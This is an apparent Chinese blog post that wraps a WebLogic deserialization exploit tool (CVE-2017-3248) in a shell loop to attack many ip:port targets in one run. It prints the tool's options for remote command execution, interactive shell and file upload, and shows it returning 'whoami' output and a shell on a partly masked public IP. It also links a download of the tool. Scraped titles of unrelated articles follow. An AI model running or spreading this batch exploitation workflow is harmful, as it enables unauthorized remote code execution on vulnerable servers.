~ 以下内容,仅供学习参考 ~

  weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效率有点低 ~  而我自己又没有能力去重写一个批量检测工具,于是乎就想能不能通过一些非技术手段 ~ 先看下该工具的使用方法:

starnight:shell starnight$ java -jar weblogic.jar
usage: supeream
-B Runtime Blind Execute Command maybe you should select os
type
-C <arg> Execute Command[need set]
-dst <arg> path to dst file
-H <arg> Remote Host[need set]
-https enable https or tls
-noExecPath custom execute path
-os <arg> Os Type [windows,linux]
-P <arg> Remote Port[need set]
-shell enable shell module
-src <arg> path to src file
-T <arg> Payload Type[marshall, collection, streamMessageImpl]
-U Uninstall rmi
-upload enable upload a file

  一般来讲我们只需要提供一个ip和端口就可以进行检测了,像下面这样:

starnight:shell starnight$ java -jar weblogic.jar  -H 220.195.*.197 -P 
检查是否安装rmi实例
rmi已经安装
执行命令:whoami
weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P -shell
检查是否安装rmi实例
rmi已经安装
please input cmd:>whoami
weblogic please input cmd:>

 工具运行的时候,会给出比较详细的信息,试想以下,这些信息只需要保存在一个文本文件中,到时候我们直接查看文本便能清楚的知道,该ip:port是否存在weblogic反序列化补丁绕过漏洞,要是能让该工具自动的从一个保存ip:port的文本文件中,一条条的读取ip:port,然后执行,再将输出信息保存在result.txt中,等程序运行结束,只要查看result.txt即可。

  ~ 怎么搞,当然是写shell脚本啦 ~ 但是,我也不会啊 ~ 没关系,一步步来,我们可以先想想如何去实现这样一个小功能
  ~~ 首先,脚本需要从保存ip:port的列表文件ips.txt中一行行读取,然后分别赋给ip 和 port变量
  ~~ 有了ip 和 port之后,这条命令便能执行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 将结果追加到文件中,使用 ">>"即可
  ~~ 再对脚本做一些修饰,让输出更友好
  ~~ shell脚本内容参考如下:

starnight:shell starnight$ cat exp.sh
var=
while IFS=: read ip port; do
var=$((var + ))
echo [$var] $ip $port
echo "[$var]$ip $port" >> result.txt
java -jar weblogic.jar -H $ip -P $port >> result.txt
echo "" >> result.txt done < ips.txt

  只要短短的几行,便改造成了一个批量脚本,瞬间感觉,我要去学shell编程了 ~

  运行该脚本:./exp.sh      [需要执行权限]

运行结果就不分享了,试试哦 ~

脚本分享百度云:

  链接:http://pan.baidu.com/s/1c1FW2wK  密码:ywm3



weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )的更多相关文章

  1. 工程师技术(五):Shell脚本的编写及测试、重定向输出的应用、使用特殊变量、编写一个判断脚本、编写一个批量添加用户脚本

    一.Shell脚本的编写及测 目标: 本例要求两个简单的Shell脚本程序,任务目标如下: 1> 编写一个面世问候 /root/helloworld.sh 脚本,执行后显示出一段话“Hello ...

  2. shell编写一个批量添加用户脚本

                                                          shell编写一个批量添加用户脚本 5.1问题 本例要求在虚拟机server0上创建/roo ...

  3. java classpath批量设置shell脚本

    java classpath批量设置shell脚本   注意:linux bash jar文件之间的分隔符是':'    export JAR_HOME=path to directory which ...

  4. 一个简单的shell脚本

    一个简单的shell脚本 一个简单的shell脚本 编写 假设我想知道目前系统上有多少人登录,使用who命令可以告诉你现在系统有谁登录: 1.[KANO@kelvin ~]$ who2.KANO tt ...

  5. Linux定时对日志批量打包Shell脚本及定时任务crontab 详细用法

    一.需求背景     因此次项目的生产环境中部署了多套系统,每天会产生大量的日志(数百GB的量),侵占了服务器宝贵的存储资源空间.为了有效缓解服务器存储压力,考虑通过Linux的Shell脚本结合cr ...

  6. 一个不错的shell 脚本教程 入门级

    一个很不错的bash脚本编写教程,至少没接触过BASH的也能看懂     建立一个脚本 Linux中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行s ...

  7. 如何在linux下编写一个简单的Shell脚本程序

    在了解了linux终端和其搭配的基本Shell(默认为bash)的基础下,我们就可以在终端中用vi/vim编辑器编写一个shell的脚本程序了 Shell既为一种命令解释解释工具,又是一种脚本编程语言 ...

  8. 一个简单的Shell脚本(解决windows上文本在macos上乱码问题)

    之所以有这一篇文章,是因为之前我写过的一篇文章:“解决Mac上打开txt文件乱码问题”:传送门: https://www.cnblogs.com/chester-cs/p/11784079.html ...

  9. iOS 批量打包--Shell脚本

    由于公司有批量打包的需要,只是渠道号不一样,网上搜索一番,大致有两个方式:a) 从源程序一次性打出所有渠道的ipa包,大概的思路就是利用脚本循环执行打包过程,而每次打包前都通过脚本修改项目中存放渠道号 ...

随机推荐

  1. python3+selenium 牛刀小试

    # coding:utf-8 # __author__ = 'Carry' import unittest from selenium import webdriver import time cla ...

  2. latex添加eps文档

    latex添加图像时,要将.eps文档放在当前文件夹中,然后使用: % For one-column wide figures use\begin{figure}\begin{center}% Use ...

  3. springmvc+mybatis 处理时间

    项目结构: 一.数据库中time的字段为datetime1. 数据库设计如图 2. addNews.jsp <%@ page language="java" contentT ...

  4. Spring点滴四:Spring Bean生命周期

    Spring Bean 生命周期示意图: 了解Spring的生命周期非常重要,我们可以利用Spring机制来定制Bean的实例化过程. -------------------------------- ...

  5. 51nod 1564 区间的价值 | 分治 尺取法

    51nod 1564 区间的价值 题面 一个区间的价值是区间最大值×区间最小值.给出一个序列\(a\), 求出其中所有长度为k的子区间的最大价值.对于\(k = 1, 2, ..., n\)输出答案. ...

  6. bzoj 3667 Rabin-Miller算法

    #include<iostream> #include<cstdio> #include<algorithm> #include<cstring> #i ...

  7. Miller-Robin与二次探测

    素数在数论中经常被用到.也是数论的基础之一. 人们一直在讨论的问题是,怎样快速找到素数?或者判断一个数是素数? 1.根号n枚举 原始暴力方法. 2.埃氏筛 每个合数会被筛质因子次数次.复杂度O(Nlo ...

  8. Java中JDK,JRE和JVM之间的关系

    初学JAVA很容易被其中的很多概念弄的傻傻分不清楚,首先从概念上理解一下吧,JDK(Java Development Kit)简单理解就是Java开发工具包,JRE(Java Runtime Envi ...

  9. D. Monitor Educational Codeforces Round 28

    http://codeforces.com/contest/846/problem/D 二分答案 适合于: 判断在t时候第一次成立 哪个状态是最小代价 #include <cstdio> ...

  10. Long与long的区别

    Java的数据类型分两种:1.基本类型:long,int,byte,float,double,char2. 对象类型(类): Long,Integer,Byte,Float,Double,Char,S ...